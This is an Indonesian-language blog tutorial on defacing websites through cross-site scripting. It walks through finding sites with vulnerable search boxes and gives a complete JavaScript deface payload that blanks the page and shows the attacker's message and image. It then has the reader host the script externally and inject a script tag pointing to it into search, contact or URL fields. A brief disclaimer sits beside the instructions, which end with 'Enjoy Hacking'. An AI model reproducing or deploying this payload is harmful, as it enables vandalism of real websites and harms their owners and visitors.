Cara Deface website dengan XSS

Deface adalah suatu seni dari teknik hacking dengan berbagai tools yang tersedia namun kebanyakan situs yang mengalami deface adalah situs  yang rentan terhadap SQLI. Namun ada juga teknik lain yang untuk deface namun kebanyakan untuk orang awam atau newbie biasanya menggunakan tools Hmei7 yang buatan defacer asal Semarang Indonesia. Namun saya tidak mengajari anda untuk berbuat seperti itu. Kali ini saya akan membahas deface dengan teknik XSS. Cara ini sangat mudah untuk anda lakukan, karena hanya sedikit paste script pada website yang rentan dengan XSS.

---

How to deface with XSS

---

Silakan anda cari website yang rentan terhadap XSS, dan untuk mengeceknya pada url anda tulis sedikit script HTML atau pada box pencarian. Namun paling sering yang saya temui kebanyakan pada box pencarian yang rentan terhadap XSS.


Setelah anda mendapatkan situs yang rentan terhadap XSS, silakan anda copy script di bawah ini dan simpan dengan extensi .js atau javascript. Contoh deface.js


var title="XSS Defacement By Nasrul07";var bgcolor="#000000";var image_url="http://s22.postimg.org/dmde9bs8h/acees.gif";var text="Halaman ini Deface by Nasrul07";var font_color="#FF0000";deface(title,bgcolor,image_url,text,font_color,alert);function deface(pageTitle,bgColor,imageUrl,pageText,fontColor,Alert){document.title=pageTitle;document.body.innerHTML='';document.bgColor=bgColor;var overLay=document.createElement("div");overLay.style.textAlign='center';document.body.appendChild(overLay);var txt=document.createElement("p");txt.style.font='normal normal bold 36px Verdana';txt.style.color=fontColor;txt.innerHTML=pageText;overLay.appendChild(txt);if(image_url!=""){var newImg=document.createElement("img");newImg.setAttribute("border",'0');newImg.setAttribute("src",imageUrl);overLay.appendChild(newImg);} var footer=document.createElement("p");footer.style.font='italic normal normal 12px Arial';footer.style.color='#DDDDDD';footer.innerHTML=title;overLay.appendChild(footer);}
Untuk nama dan gambar anda bisa mengganti dengan yang anda inginkan.


Selanjutnya anda Upload file Javascript tersebut di hosting gratisan.

Jika sudah selesai anda panggil script tersebut dengan perintah :

<script src=http://yoursite.com/your_files.js></script>

Contoh saya mengupload file deface.js di website saya http://nasrulsevenfoldism.tk/deface.js, maka perintahnya adalah :

<script src=http://nasrulsevenfoldism.tk/deface.js></script>

Selanjutnya anda paste script tersebut pada box pencarian, contact atau pada address bar dan lainya. Dan hasilnya akan tampak seperti gambar dibawah ini :

Enjoy Hacking.,,,,

Kindly Bookmark this Post using your favorite Bookmarking service: